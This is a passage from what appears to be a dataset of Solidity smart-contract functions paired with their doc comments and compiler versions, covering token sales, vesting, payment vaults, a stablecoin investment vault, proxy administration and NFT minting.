authorized\n/// @param _reference External reference of the payment\n/// @param _recipient Destination of the payment\n/// @param _amount Amount to be paid in wei\n/// @param _paymentDelay Number of seconds the payment is to be delayed, if\n/// this value is below `timeLock` then the `timeLock` determines the delay\n/// @return The Payment ID number for the new authorized payment", "function_code": "function authorizePayment(\r\n string _name,\r\n bytes32 _reference,\r\n address _recipient,\r\n uint _amount,\r\n uint _paymentDelay\r\n ) returns(uint) {\r\n\r\n // Fail if you arent on the `allowedSpenders` white list\r\n if (!allowedSpenders[msg.sender] ) throw;\r\n uint idPayment = authorizedPayments.length; // Unique Payment ID\r\n authorizedPayments.length++;\r\n\r\n // The following lines fill out the payment struct\r\n Payment p = authorizedPayments[idPayment];\r\n p.spender = msg.sender;\r\n\r\n // Overflow protection\r\n if (_paymentDelay > 10**18) throw;\r\n\r\n // Determines the earliest the recipient can receive payment (Unix time)\r\n p.earliestPayTime = _paymentDelay >= timeLock ?\r\n now + _paymentDelay :\r\n now + timeLock;\r\n p.recipient = _recipient;\r\n p.amount = _amount;\r\n p.name = _name;\r\n p.reference = _reference;\r\n PaymentAuthorized(idPayment, p.recipient, p.amount);\r\n return idPayment;\r\n }", "version": "0.4.18"} {"comment": "/// @notice only `allowedSpenders[]` The recipient of a payment calls this\n/// function to send themselves the ether after the `earliestPayTime` has\n/// expired\n/// @param _idPayment The payment ID to be executed", "function_code": "function collectAuthorizedPayment(uint _idPayment) {\r\n\r\n // Check that the `_idPayment` has been added to the payments struct\r\n if (_idPayment >= authorizedPayments.length) throw;\r\n\r\n Payment p = authorizedPayments[_idPayment];\r\n\r\n // Checking for reasons not to execute the payment\r\n if (msg.sender != p.recipient) throw;\r\n if (!allowedSpenders[p.spender]) throw;\r\n if (now < p.earliestPayTime) throw;\r\n if (p.canceled) throw;\r\n if (p.paid) throw;\r\n if (this.balance < p.amount) throw;\r\n\r\n p.paid = true; // Set the payment to being paid\r\n if (!p.recipient.send(p.amount)) { // Make the payment\r\n throw;\r\n }\r\n PaymentExecuted(_idPayment, p.recipient, p.amount);\r\n }", "version": "0.4.18"} {"comment": "/////////\n/// @notice `onlySecurityGuard` Delays a payment for a set number of seconds\n/// @param _idPayment ID of the payment to be delayed\n/// @param _delay The number of seconds to delay the payment", "function_code": "function delayPayment(uint _idPayment, uint _delay) onlySecurityGuard {\r\n if (_idPayment >= authorizedPayments.length) throw;\r\n\r\n // Overflow test\r\n if (_delay > 10**18) throw;\r\n\r\n Payment p = authorizedPayments[_idPayment];\r\n\r\n if ((p.securityGuardDelay + _delay > maxSecurityGuardDelay) ||\r\n (p.paid) ||\r\n (p.canceled))\r\n throw;\r\n\r\n p.securityGuardDelay += _delay;\r\n p.earliestPayTime += _delay;\r\n }", "version": "0.4.18"} {"comment": "/// @notice Provides a safe ERC20.approve version for different ERC-20 implementations.\n/// @param token The address of the ERC-20 token.\n/// @param to The address of the user to grant spending right.\n/// @param amount The token amount to grant spending right over.", "function_code": "function safeApprove(\r\n IERC20 token, \r\n address to, \r\n uint256 amount\r\n ) internal {\r\n (bool success, bytes memory data) = address(token).call(abi.encodeWithSelector(SIG_APPROVE, to, amount));\r\n require(success && (data.length == 0 || abi.decode(data, (bool))), \"BoringERC20: Approve failed\");\r\n }", "version": "0.7.6"} {"comment": "/// @dev Crowdfunding contract issues new tokens for address. Returns success.\n/// @param _for Address of receiver.\n/// @param tokenCount Number of tokens to issue.", "function_code": "function issueTokens(address _for, uint tokenCount)\r\n external\r\n payable\r\n onlyMinter\r\n returns (bool)\r\n {\r\n if (tokenCount == 0) {\r\n return false;\r\n }\r\n\r\n if (add(totalSupply, tokenCount) > maxTotalSupply) {\r\n throw;\r\n }\r\n\r\n totalSupply = add(totalSupply, tokenCount);\r\n balances[_for] = add(balances[_for], tokenCount);\r\n Issuance(_for, tokenCount);\r\n return true;\r\n }", "version": "0.4.8"} {"comment": "/// @dev Function to change address that is allowed to do emission.\n/// @param newAddress Address of new emission contract.", "function_code": "function changeMinter(address newAddress)\r\n public\r\n onlyFounder\r\n returns (bool)\r\n { \r\n // Forbid previous emission contract to distribute tokens minted during ICO stage\r\n delete allowed[allocationAddressICO][minter];\r\n\r\n minter = newAddress;\r\n\r\n // Allow emission contract to distribute tokens minted during ICO stage\r\n allowed[allocationAddressICO][minter] = balanceOf(allocationAddressICO);\r\n }", "version": "0.4.8"} {"comment": "/// @dev Contract constructor function sets initial token balances.", "function_code": "function HumaniqToken(address founderAddress)\r\n { \r\n // Set founder address\r\n founder = founderAddress;\r\n\r\n // Allocate all created tokens during ICO stage to allocationAddressICO.\r\n balances[allocationAddressICO] = ICOSupply;\r\n\r\n // Allocate all created tokens during preICO stage to allocationAddressPreICO.\r\n balances[allocationAddressPreICO] = preICOSupply;\r\n\r\n // Allow founder to distribute tokens minted during preICO stage\r\n allowed[allocationAddressPreICO][founder] = preICOSupply;\r\n\r\n // Give 14 percent of all tokens to founders.\r\n balances[multisig] = div(mul(ICOSupply, 14), 86);\r\n\r\n // Set correct totalSupply and limit maximum total supply.\r\n totalSupply = add(ICOSupply, balances[multisig]);\r\n totalSupply = add(totalSupply, preICOSupply);\r\n maxTotalSupply = mul(totalSupply, 5);\r\n }", "version": "0.4.8"} {"comment": "/// @dev Returns bonus for the specific moment\n/// @param timestamp Time of investment (in seconds)", "function_code": "function getBonus(uint timestamp)\r\n public\r\n constant\r\n returns (uint)\r\n { \r\n if (timestamp > endDate) {\r\n throw;\r\n }\r\n\r\n if (startDate > timestamp) {\r\n return 1499; // 49.9%\r\n }\r\n\r\n uint icoDuration = timestamp - startDate;\r\n if (icoDuration >= 16 days) {\r\n return 1000; // 0%\r\n } else if (icoDuration >= 9 days) {\r\n return 1125; // 12.5%\r\n } else if (icoDuration >= 2 days) {\r\n return 1250; // 25%\r\n } else {\r\n return 1499; // 49.9%\r\n }\r\n }", "version": "0.4.8"} {"comment": "/// @dev Issues tokens for users who made BTC purchases.\n/// @param beneficiary Address the tokens will be issued to.\n/// @param investment Invested amount in Wei\n/// @param timestamp Time of investment (in seconds)", "function_code": "function fixInvestment(address beneficiary, uint investment, uint timestamp)\r\n external\r\n onlyFounder\r\n minInvestment(investment)\r\n returns (uint)\r\n { \r\n\r\n // Calculate number of tokens to mint\r\n uint tokenCount = calculateTokens(investment, timestamp);\r\n\r\n // Update fund's and user's balance and total supply of tokens.\r\n tokensDistributed = add(tokensDistributed, tokenCount);\r\n\r\n // Distribute tokens.\r\n if (!humaniqToken.transferFrom(allocationAddress, beneficiary, tokenCount)) {\r\n // Tokens could not be issued.\r\n throw;\r\n }\r\n\r\n return tokenCount;\r\n }", "version": "0.4.8"} {"comment": "// change restricted releaseXX account", "function_code": "function changeReleaseAccount(address _owner, address _newowner) internal returns (bool) {\r\n require(balances[_newowner] == 0);\r\n require(releaseTime[_owner] != 0 );\r\n require(releaseTime[_newowner] == 0 );\r\n balances[_newowner] = balances[_owner];\r\n releaseTime[_newowner] = releaseTime[_owner];\r\n balances[_owner] = 0;\r\n releaseTime[_owner] = 0;\r\n return true;\r\n }", "version": "0.4.21"} {"comment": "/**\r\n * @dev Function to mint tokens\r\n * @param _to The address that will recieve the minted tokens.\r\n * @param _amount The amount of tokens to mint.\r\n * @param _releaseTime The (optional) freeze time - KYC & bounty accounts.\r\n * @return A boolean that indicates if the operation was successful.\r\n */", "function_code": "function mint(address _to, uint256 _amount, uint256 _releaseTime) internal canMint returns (bool) {\r\n totalSupply = totalSupply.add(_amount);\r\n balances[_to] = balances[_to].add(_amount);\r\n if ( _releaseTime > 0 ) {\r\n releaseTime[_to] = _releaseTime;\r\n }\r\n emit Transfer(0x0, _to, _amount);\r\n return true;\r\n }", "version": "0.4.21"} {"comment": "// ETH Course in USD\n// constructor", "function_code": "function ArconaToken(uint256 _startSale,uint256 _finishSale,address _multisig,address _restricted,address _registerbot,address _certbot, address _release6m, address _release12m, address _release18m) public {\r\n multisig = _multisig;\r\n restricted = _restricted;\r\n registerbot = _registerbot;\r\n certbot = _certbot;\r\n release6m = _release6m;\r\n release12m = _release12m;\r\n release18m = _release18m;\r\n startSale = _startSale;\r\n finishSale = _finishSale;\r\n }", "version": "0.4.21"} {"comment": "// import preICO customers from 0x516130856e743090af9d7fd95d6fc94c8743a4e1", "function_code": "function importCustomer(address _customer, address _referral, uint _tokenAmount) public {\r\n require(msg.sender == registerbot || msg.sender == owner);\r\n require(_customer != address(0));\r\n require(now < startSale); // before ICO starts\r\n registered[_customer] = true;\r\n if (_referral != address(0) && _referral != _customer) {\r\n referral[_customer] = _referral;\r\n }\r\n mint(_customer, _tokenAmount, now + 99 * 1 years); // till KYC is completed\r\n }", "version": "0.4.21"} {"comment": "/// @dev vest Detail : second unit", "function_code": "function vestTokensDetailInt(\r\n address _beneficiary,\r\n uint256 _startS,\r\n uint256 _cliffS,\r\n uint256 _durationS,\r\n bool _revocable,\r\n uint256 _tokensAmountInt) external onlyOwner {\r\n require(_beneficiary != address(0));\r\n\r\n uint256 tokensAmount = _tokensAmountInt * 10**uint256(decimals);\r\n\r\n if(vestingOf[_beneficiary] == 0x0) {\r\n TokenVesting vesting = new TokenVesting(_beneficiary, _startS, _cliffS, _durationS, _revocable, owner);\r\n vestingOf[_beneficiary] = address(vesting);\r\n }\r\n\r\n require(this.transferFrom(reserveTokensVault, vestingOf[_beneficiary], tokensAmount));\r\n }", "version": "0.4.24"} {"comment": "/// @dev vest StartAt : day unit", "function_code": "function vestTokensStartAtInt(\r\n address _beneficiary, \r\n uint256 _tokensAmountInt,\r\n uint256 _startS,\r\n uint256 _afterDay,\r\n uint256 _cliffDay,\r\n uint256 _durationDay ) public onlyOwner {\r\n require(_beneficiary != address(0));\r\n\r\n uint256 tokensAmount = _tokensAmountInt * 10**uint256(decimals);\r\n uint256 afterSec = _afterDay * daySecond;\r\n uint256 cliffSec = _cliffDay * daySecond;\r\n uint256 durationSec = _durationDay * daySecond;\r\n\r\n if(vestingOf[_beneficiary] == 0x0) {\r\n TokenVesting vesting = new TokenVesting(_beneficiary, _startS + afterSec, cliffSec, durationSec, true, owner);\r\n vestingOf[_beneficiary] = address(vesting);\r\n }\r\n\r\n require(this.transferFrom(reserveTokensVault, vestingOf[_beneficiary], tokensAmount));\r\n }", "version": "0.4.24"} {"comment": "// BTC external payments", "function_code": "function foreignBuy(address _holder, uint256 _weiAmount, uint256 _rate) public {\r\n require(msg.sender == registerbot || msg.sender == owner);\r\n require(_weiAmount > 0);\r\n require(_rate > 0);\r\n registered[_holder] = true;\r\n uint tokens = _rate.mul(_weiAmount).div(1 ether);\r\n mint(_holder, tokens, now + 99 * 1 years); // till KYC is completed\r\n totalWeiSale = totalWeiSale.add(_weiAmount);\r\n }", "version": "0.4.21"} {"comment": "/// @notice Function to deposit stablecoins\n/// @param _amount Amount to deposit\n/// @param _tokenIndex Type of stablecoin to deposit", "function_code": "function deposit(uint256 _amount, uint256 _tokenIndex) external {\n require(msg.sender == tx.origin || isTrustedForwarder(msg.sender), \"Only EOA or Biconomy\");\n require(_amount > 0, \"Amount must > 0\");\n\n uint256 _ETHPrice = _determineETHPrice(_tokenIndex);\n uint256 _pool = getAllPoolInETH(_ETHPrice);\n address _sender = _msgSender();\n Tokens[_tokenIndex].token.safeTransferFrom(_sender, address(this), _amount);\n uint256 _amtDeposit = _amount; // For event purpose\n if (Tokens[_tokenIndex].decimals == 6) {\n _amount = _amount.mul(1e12);\n }\n\n // Calculate network fee\n uint256 _networkFeePerc;\n if (_amount < networkFeeTier2[0]) {\n // Tier 1\n _networkFeePerc = networkFeePerc[0];\n } else if (_amount <= networkFeeTier2[1]) {\n // Tier 2\n _networkFeePerc = networkFeePerc[1];\n } else if (_amount < customNetworkFeeTier) {\n // Tier 3\n _networkFeePerc = networkFeePerc[2];\n } else {\n // Custom Tier\n _networkFeePerc = customNetworkFeePerc;\n }\n uint256 _fee = _amount.mul(_networkFeePerc).div(DENOMINATOR);\n _fees = _fees.add(_fee);\n _amount = _amount.sub(_fee);\n\n _balanceOfDeposit[_sender] = _balanceOfDeposit[_sender].add(_amount);\n uint256 _amountInETH = _amount.mul(_ETHPrice).div(1e18);\n uint256 _shares = totalSupply() == 0 ? _amountInETH : _amountInETH.mul(totalSupply()).div(_pool);\n\n _mint(_sender, _shares);\n emit Deposit(address(Tokens[_tokenIndex].token), _sender, _amtDeposit, _shares);\n }", "version": "0.7.6"} {"comment": "/// @notice Function to invest funds into strategy", "function_code": "function invest() external onlyAdmin {\n Token memory _USDT = Tokens[0];\n Token memory _USDC = Tokens[1];\n Token memory _DAI = Tokens[2];\n\n // Transfer out network fees\n _fees = _fees.div(1e12); // Convert to USDT decimals\n if (_fees != 0 && _USDT.token.balanceOf(address(this)) > _fees) {\n uint256 _treasuryFee = _fees.mul(2).div(5); // 40%\n _USDT.token.safeTransfer(treasuryWallet, _treasuryFee); // 40%\n _USDT.token.safeTransfer(communityWallet, _treasuryFee); // 40%\n _USDT.token.safeTransfer(strategist, _fees.sub(_treasuryFee).sub(_treasuryFee)); // 20%\n emit TransferredOutFees(_fees);\n _fees = 0;\n }\n\n uint256 _poolInUSD = getAllPoolInUSD().sub(_fees);\n\n // Calculation for keep portion of stablecoins and swap remainder to WETH\n uint256 _toKeepUSDT = _poolInUSD.mul(_USDT.percKeepInVault).div(DENOMINATOR);\n uint256 _toKeepUSDC = _poolInUSD.mul(_USDC.percKeepInVault).div(DENOMINATOR);\n uint256 _toKeepDAI = _poolInUSD.mul(_DAI.percKeepInVault).div(DENOMINATOR);\n _invest(_USDT.token, _toKeepUSDT);\n _invest(_USDC.token, _toKeepUSDC);\n _toKeepDAI = _toKeepDAI.mul(1e12); // Follow decimals of DAI\n _invest(_DAI.token, _toKeepDAI);\n\n // Invest all swapped WETH to strategy\n uint256 _balanceOfWETH = WETH.balanceOf(address(this));\n if (_balanceOfWETH > 0) {\n strategy.invest(_balanceOfWETH);\n emit ETHToInvest(_balanceOfWETH);\n }\n }", "version": "0.7.6"} {"comment": "/// @notice Function to determine Curve index for swapTokenWithinVault()\n/// @param _tokenIndex Index of stablecoin\n/// @return stablecoin index use in Curve", "function_code": "function _determineCurveIndex(uint256 _tokenIndex) private pure returns (int128) {\n if (_tokenIndex == 0) {\n return 2;\n } else if (_tokenIndex == 1) {\n return 1;\n } else {\n return 0;\n }\n }", "version": "0.7.6"} {"comment": "/**\r\n * @dev Contract initializer.\r\n * @param _logic Address of the initial implementation.\r\n * @param _data Data to send as msg.data to the implementation to initialize the proxied contract.\r\n * It should include the signature and the parameters of the function to be called, as described in\r\n * https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding.\r\n * This parameter is optional, if no data is given the initialization call to proxied contract will be skipped.\r\n */", "function_code": "function initialize(address _logic, bytes memory _data) public payable {\r\n require(_implementation() == address(0));\r\n assert(IMPLEMENTATION_SLOT == bytes32(uint256(keccak256(\"eip1967.proxy.implementation\")) - 1));\r\n _setImplementation(_logic);\r\n if (_data.length > 0) {\r\n (bool success, ) = _logic.delegatecall(_data);\r\n require(success);\r\n }\r\n }", "version": "0.6.12"} {"comment": "/// @notice Function to swap between tokens with Uniswap\n/// @param _amountIn Amount to swap\n/// @param _fromToken Token to be swapped\n/// @param _toToken Token to be received\n/// @return _amounts Array that contain amount swapped", "function_code": "function _swapExactTokensForTokens(uint256 _amountIn, address _fromToken, address _toToken) private returns (uint256[] memory _amounts) {\n address[] memory _path = new address[](2);\n _path[0] = _fromToken;\n _path[1] = _toToken;\n uint256[] memory _amountsOut = router.getAmountsOut(_amountIn, _path);\n if (_amountsOut[1] > 0) {\n _amounts = router.swapExactTokensForTokens(_amountIn, 0, _path, address(this), block.timestamp);\n } else {\n // Not enough amount to swap\n uint256[] memory _zeroReturn = new uint256[](2);\n _zeroReturn[0] = 0;\n _zeroReturn[1] = 0;\n return _zeroReturn;\n }\n }", "version": "0.7.6"} {"comment": "/// @notice Function to set new network fee for deposit amount tier 2\n/// @param _networkFeeTier2 Array that contains minimum and maximum amount of tier 2 (18 decimals)", "function_code": "function setNetworkFeeTier2(uint256[] calldata _networkFeeTier2) external onlyOwner {\n require(_networkFeeTier2[0] != 0, \"Minimun amount cannot be 0\");\n require(_networkFeeTier2[1] > _networkFeeTier2[0], \"Maximun amount must greater than minimun amount\");\n /**\n * Network fees have three tier, but it is sufficient to have minimun and maximun amount of tier 2\n * Tier 1: deposit amount < minimun amount of tier 2\n * Tier 2: minimun amount of tier 2 <= deposit amount <= maximun amount of tier 2\n * Tier 3: amount > maximun amount of tier 2\n */\n uint256[] memory oldNetworkFeeTier2 = networkFeeTier2;\n networkFeeTier2 = _networkFeeTier2;\n emit SetNetworkFeeTier2(oldNetworkFeeTier2, _networkFeeTier2);\n }", "version": "0.7.6"} {"comment": "/// @notice Function to set new network fee percentage\n/// @param _networkFeePerc Array that contains new network fee percentage for tier 1, tier 2 and tier 3", "function_code": "function setNetworkFeePerc(uint256[] calldata _networkFeePerc) external onlyOwner {\n require(\n _networkFeePerc[0] < 3000 &&\n _networkFeePerc[1] < 3000 &&\n _networkFeePerc[2] < 3000,\n \"Network fee percentage cannot be more than 30%\"\n );\n /**\n * _networkFeePerc content a array of 3 element, representing network fee of tier 1, tier 2 and tier 3\n * For example networkFeePerc is [100, 75, 50]\n * which mean network fee for Tier 1 = 1%, Tier 2 = 0.75% and Tier 3 = 0.5%\n */\n uint256[] memory oldNetworkFeePerc = networkFeePerc;\n networkFeePerc = _networkFeePerc;\n emit SetNetworkFeePerc(oldNetworkFeePerc, _networkFeePerc);\n }", "version": "0.7.6"} {"comment": "/// @notice Function to migrate all funds from old strategy contract to new strategy contract", "function_code": "function migrateFunds() external onlyOwner {\n require(unlockTime <= block.timestamp && unlockTime.add(1 days) >= block.timestamp, \"Function locked\");\n require(WETH.balanceOf(address(strategy)) > 0, \"No balance to migrate\");\n require(pendingStrategy != address(0), \"No pendingStrategy\");\n\n uint256 _amount = WETH.balanceOf(address(strategy));\n WETH.safeTransferFrom(address(strategy), pendingStrategy, _amount);\n\n // Set new strategy\n address oldStrategy = address(strategy);\n strategy = ICitadelStrategy(pendingStrategy);\n pendingStrategy = address(0);\n canSetPendingStrategy = true;\n\n // Approve new strategy\n WETH.safeApprove(address(strategy), type(uint256).max);\n WETH.safeApprove(oldStrategy, 0);\n\n unlockTime = 0; // Lock back this function\n emit MigrateFunds(oldStrategy, address(strategy), _amount);\n }", "version": "0.7.6"} {"comment": "/// @notice Function to get exact USD amount of pool in vault\n/// @return Exact USD amount of pool in vault (no decimals)", "function_code": "function _getVaultPoolInUSD() private view returns (uint256) {\n uint256 _vaultPoolInUSD = (Tokens[0].token.balanceOf(address(this)).mul(1e12))\n .add(Tokens[1].token.balanceOf(address(this)).mul(1e12))\n .add(Tokens[2].token.balanceOf(address(this)))\n .sub(_fees);\n // In very rare case that fees > vault pool, above calculation will raise error\n // Use getReimburseTokenAmount() to get some stablecoin from strategy\n return _vaultPoolInUSD.div(1e18);\n }", "version": "0.7.6"} {"comment": "/// @notice Function to determine ETH price based on stablecoin\n/// @param _tokenIndex Type of stablecoin to determine\n/// @return Price of ETH (18 decimals)", "function_code": "function _determineETHPrice(uint256 _tokenIndex) private view returns (uint256) {\n address _priceFeedContract;\n if (address(Tokens[_tokenIndex].token) == 0xdAC17F958D2ee523a2206206994597C13D831ec7) { // USDT\n _priceFeedContract = 0xEe9F2375b4bdF6387aa8265dD4FB8F16512A1d46; // USDT/ETH\n } else if (address(Tokens[_tokenIndex].token) == 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48) { // USDC\n _priceFeedContract = 0x986b5E1e1755e3C2440e960477f25201B0a8bbD4; // USDC/ETH\n } else { // DAI\n _priceFeedContract = 0x773616E4d11A78F511299002da57A0a94577F1f4; // DAI/ETH\n }\n return _getPriceFromChainlink(_priceFeedContract);\n }", "version": "0.7.6"} {"comment": "// ----- PUBLIC METHODS ----- //\n//emits Transfer event", "function_code": "function mintUniqly(uint256 numUniqlies) external payable {\n require(_saleStarted, \"Sale not started yet\");\n uint256 requiredValue = numUniqlies * _tokenPrice;\n uint256 mintIndex = totalSupply();\n require(msg.value >= requiredValue, \"Not enough ether\");\n require(\n (numUniqlies + mintIndex) <= _maxUniqly,\n \"You cannot buy that many tokens\"\n );\n\n for (uint256 i = 0; i < numUniqlies; i++) {\n _safeMint(msg.sender, mintIndex);\n mintIndex++;\n }\n // send back ETH if one overpay by accident\n if (requiredValue < msg.value) {\n payable(msg.sender).transfer(msg.value - requiredValue);\n }\n }", "version": "0.8.6"} {"comment": "// ----- OWNERS METHODS ----- //", "function_code": "function getRandomNumber(uint256 adminProvidedSeed)\n external\n onlyOwner\n returns (bytes32)\n {\n require(totalSupply() >= _maxUniqly, \"Sale must be ended\");\n require(randomResult == 0, \"Random number already initiated\");\n require(address(this).balance >= 10 ether, \"min 10 ETH balance required\");\n require(\n LINK.balanceOf(address(this)) >= fee,\n \"Not enough LINK\"\n );\n return requestRandomness(keyHash, fee, adminProvidedSeed);\n }", "version": "0.8.6"} {"comment": "/**\n * @dev Returns the current implementation of a proxy.\n * This is needed because only the proxy admin can query it.\n * @return The address of the current implementation of the proxy.\n */", "function_code": "function getProxyImplementation(AdminUpgradeabilityProxy proxy) public view returns (address) {\n // We need to manually run the static call since the getter cannot be flagged as view\n // bytes4(keccak256(\"implementation()\")) == 0x5c60da1b\n (bool success, bytes memory returndata) = address(proxy).staticcall(hex\"5c60da1b\");\n require(success);\n return abi.decode(returndata, (address));\n }", "version": "0.5.17"} {"comment": "/**\n * @dev Returns the admin of a proxy. Only the admin can query it.\n * @return The address of the current admin of the proxy.\n */", "function_code": "function getProxyAdmin(AdminUpgradeabilityProxy proxy) public view returns (address) {\n // We need to manually run the static call since the getter cannot be flagged as view\n // bytes4(keccak256(\"admin()\")) == 0xf851a440\n (bool success, bytes memory returndata) = address(proxy).staticcall(hex\"f851a440\");\n require(success);\n return abi.decode(returndata, (address));\n }", "version": "0.5.17"} {"comment": "/*\r\n \t * @dev Withdraws the contracts balance to owner and DAO.\r\n \t */", "function_code": "function withdraw() public onlyOwner {\r\n\t\t// Reserve 30% for DAO treasury\r\n\t\t(bool hs, ) = payable(DAO_TREASURY_ADDRESS).call{ value: (address(this).balance * 30) / 100 }(\"\");\r\n\t\trequire(hs, \"DAO tranfer failed\");\r\n\r\n\t\t// owner only\r\n\t\t(bool os, ) = payable(owner()).call{ value: address(this).balance }(\"\");\r\n\t\trequire(os, \"owner transfer failed\");\r\n\t}", "version": "0.8.11"} {"comment": "/*\r\n \t * @dev Mints doggos when presale is enabled.\r\n \t */", "function_code": "function presaleMintDoggo(uint256 quantity, bytes32[] calldata merkleProof)\r\n\t\texternal\r\n\t\tpayable\r\n\t\twhenNotPaused\r\n\t\twhenPreSale\r\n\t\tnonReentrant\r\n\t{\r\n\t\trequire(totalSupply() + quantity < MAX_SUPPLY, \"max supply reached\");\r\n\r\n\t\tif (_msgSender() != owner()) {\r\n\t\t\trequire(totalSupply() + quantity < MAX_PUBLIC_SUPPLY, \"max public supply reached\");\r\n\t\t\trequire(\r\n\t\t\t\tMerkleProof.verify(merkleProof, PRE_SALE_MERKLE_ROOT, keccak256(abi.encodePacked(_msgSender()))),\r\n\t\t\t\t\"Address not on the list\"\r\n\t\t\t);\r\n\t\t\trequire(_numberMinted(_msgSender()) + quantity <= PRE_SALE_MAX_MINT_AMOUNT, \"presale mint limit reached\");\r\n\t\t\trequire(msg.value >= COST * quantity, \"incorrect ether value\");\r\n\t\t}\r\n\r\n\t\t_mintDoggo(_msgSender(), quantity);\r\n\t}", "version": "0.8.11"} {"comment": "/*\r\n \t * @dev Mints doggos when presale is disabled.\r\n \t */", "function_code": "function mintDoggo(uint256 quantity) external payable whenNotPaused whenNotPreSale nonReentrant {\r\n\t\trequire(totalSupply() + quantity < MAX_SUPPLY, \"max supply reached\");\r\n\r\n\t\tif (_msgSender() != owner()) {\r\n\t\t\trequire(totalSupply() + quantity < MAX_PUBLIC_SUPPLY, \"max public supply reached\");\r\n\t\t\trequire(_numberMinted(_msgSender()) + quantity <= MAX_MINT_AMOUNT, \"mint limit reached\");\r\n\t\t\trequire(msg.value >= COST * quantity, \"incorrect ether value\");\r\n\t\t}\r\n\r\n\t\t_mintDoggo(_msgSender(), quantity);\r\n\t}", "version": "0.8.11"} {"comment": "/**\r\n * @dev schedule lock\r\n */", "function_code": "function scheduleLock(\r\n Direction _restriction,\r\n uint256 _startAt, uint256 _endAt, bool _scheduleInverted)\r\n public onlyAuthority returns (bool)\r\n {\r\n require(_startAt <= _endAt, \"LOR02\");\r\n lock = ScheduledLock(\r\n _restriction,\r\n _startAt,\r\n _endAt,\r\n _scheduleInverted\r\n );\r\n emit LockDefinition(\r\n lock.restriction, lock.startAt, lock.endAt, lock.scheduleInverted);\r\n }", "version": "0.4.24"} {"comment": "// Dutch-ish Auction", "function_code": "function currentPrice(uint256 tulipNumber) public view returns (uint256 price) {\n if (tulipNumber == latestNewTulipForSale) {\n // if currently in auction\n uint256 initialPrice = 1000 ether;\n uint256 decayPeriod = 1 days;\n // price = initial_price - initial_price * (current_time - start_time) / decay_period\n uint256 elapsedTime = block.timestamp - tulips[tulipNumber].listingTime;\n if (elapsedTime >= decayPeriod) return 0;\n return initialPrice - ((initialPrice * elapsedTime) / decayPeriod);\n } else {\n // if not in auction\n return tulips[tulipNumber].price;\n }\n }", "version": "0.8.7"} {"comment": "//0: not revealed, 1: cat 2: tiger", "function_code": "function checkSpecies(uint256 _tokenId) public view returns (uint256){\r\n if(_secret == 0 || !_exists(_tokenId)){\r\n return 0;\r\n }\r\n if(evolved[_tokenId]){\r\n return 2;\r\n }\r\n uint256 rand = uint256(keccak256(abi.encodePacked(_tokenId, _secret)));\r\n if(rand % 3 == 0){\r\n return 2;\r\n }else{\r\n return 1;\r\n }\r\n }", "version": "0.8.6"} {"comment": "/**\n * Sets series limit.\n *\n * @param series series name\n * @param limit limit of the tokens that can be under this series\n * @param mintPrice price to mint the token\n */", "function_code": "function setSeries(string memory series, uint256 limit, uint256 mintPrice) public onlyOwner {\n require(bytes(series).length > bytes(\"\").length, \"series cannot be empty string\");\n _seriesLimits[series] = limit;\n _seriesMintPrices[series] = mintPrice;\n emit SeriesSet(msg.sender, series, limit, mintPrice);\n }", "version": "0.8.4"} {"comment": "/**\n * Mints the token with predictions. This method will produce the logs so the user can find out the tokenId once transaction is written to the chain.\n *\n * @param series series name\n * @param nickname space for user to put the identifier\n * @param predict_1 prediction 1\n * @param predict_2 prediction 2\n * @param predict_3 prediction 3\n * @param predict_4 prediction 4\n * @param predict_5 prediction 5\n * @param predict_6 prediction 6\n *\n */", "function_code": "function mint(string memory series, string memory nickname, uint64 predict_1, uint64 predict_2, uint64 predict_3, uint64 predict_4, uint64 predict_5, uint64 predict_6)\n public payable\n { \n require(_seriesMints[series] < _seriesLimits[series], \"Series limit has been reached\");\n require(msg.value == _seriesMintPrices[series], \"ETH value does not match the series mint price\");\n bytes memory b = new bytes(0);\n _mint(msg.sender, _numTokens, 1, b);\n uint64 luck = generateLuckyNum(_numTokens, _numDecimals);\n uint256 seriesNumber = _seriesMints[series] + 1;\n _predictions[_numTokens] = Prediction(block.timestamp, series, seriesNumber, nickname, luck, predict_1, predict_2, predict_3, predict_4, predict_5, predict_6);\n emit PredictionMinted(msg.sender, _numTokens, series, seriesNumber, nickname, luck, predict_1, predict_2, predict_3, predict_4, predict_5, predict_6);\n _numTokens = _numTokens + 1;\n _seriesMints[series] = seriesNumber;\n }", "version": "0.8.4"} {"comment": "/**\n *\n * Sets the result for the given token.\n *\n * @param tokenId token id\n * @param result_0 the actual value at the time of when prediction had been written to the chain\n * @param result_1 the actual value to the prediction_1\n * @param result_2 the actual value to the prediction_2\n * @param result_3 the actual value to the prediction_3\n * @param result_4 the actual value to the prediction_4\n * @param result_5 the actual value to the prediction_5\n * @param result_6 the actual value to the prediction_6\n */", "function_code": "function setResult(uint256 tokenId, uint64 result_0, uint64 result_1, uint64 result_2, uint64 result_3, uint64 result_4, uint64 result_5, uint64 result_6)\n public onlyOwner\n {\n require(bytes(_predictions[tokenId].series).length > bytes(\"\").length, \"prediction must be minted before result can be set\");\n _results[tokenId] = Result(result_0, result_1, result_2, result_3, result_4, result_5, result_6);\n emit ResultSet(msg.sender, tokenId, _predictions[tokenId].series, result_0, result_1, result_2, result_3, result_4, result_5, result_6);\n }", "version": "0.8.4"} {"comment": "/**\n * Returns the result data under the specified token.\n *\n * @param tokenId token id\n * @return result data for the given token\n */", "function_code": "function result(uint256 tokenId) public view returns (ScoredResult memory) {\n uint64 score_1 = calculateScore(_predictions[tokenId].predict_1, _results[tokenId].result_1, _numDecimals);\n uint64 score_2 = calculateScore(_predictions[tokenId].predict_2, _results[tokenId].result_2, _numDecimals);\n uint64 score_3 = calculateScore(_predictions[tokenId].predict_3, _results[tokenId].result_3, _numDecimals);\n uint64 score_4 = calculateScore(_predictions[tokenId].predict_4, _results[tokenId].result_4, _numDecimals);\n uint64 score_5 = calculateScore(_predictions[tokenId].predict_5, _results[tokenId].result_5, _numDecimals);\n uint64 score_6 = calculateScore(_predictions[tokenId].predict_6, _results[tokenId].result_6, _numDecimals);\n uint64 totalScore = calculateTotalScore(score_1, score_2, score_3, score_4, score_5, score_6);\n return ScoredResult(totalScore, _results[tokenId].result_0,\n _results[tokenId].result_1, score_1,\n _results[tokenId].result_2, score_2,\n _results[tokenId].result_3, score_3,\n _results[tokenId].result_4, score_4,\n _results[tokenId].result_5, score_5,\n _results[tokenId].result_6, score_6);\n\n }", "version": "0.8.4"} {"comment": "/**\n * Generates lucky number. This is a pseudo random number. This is 0-100% (bounds included), with the given number of decimals.\n *\n * @param seed seed number\n * @param nd number of decimal points to 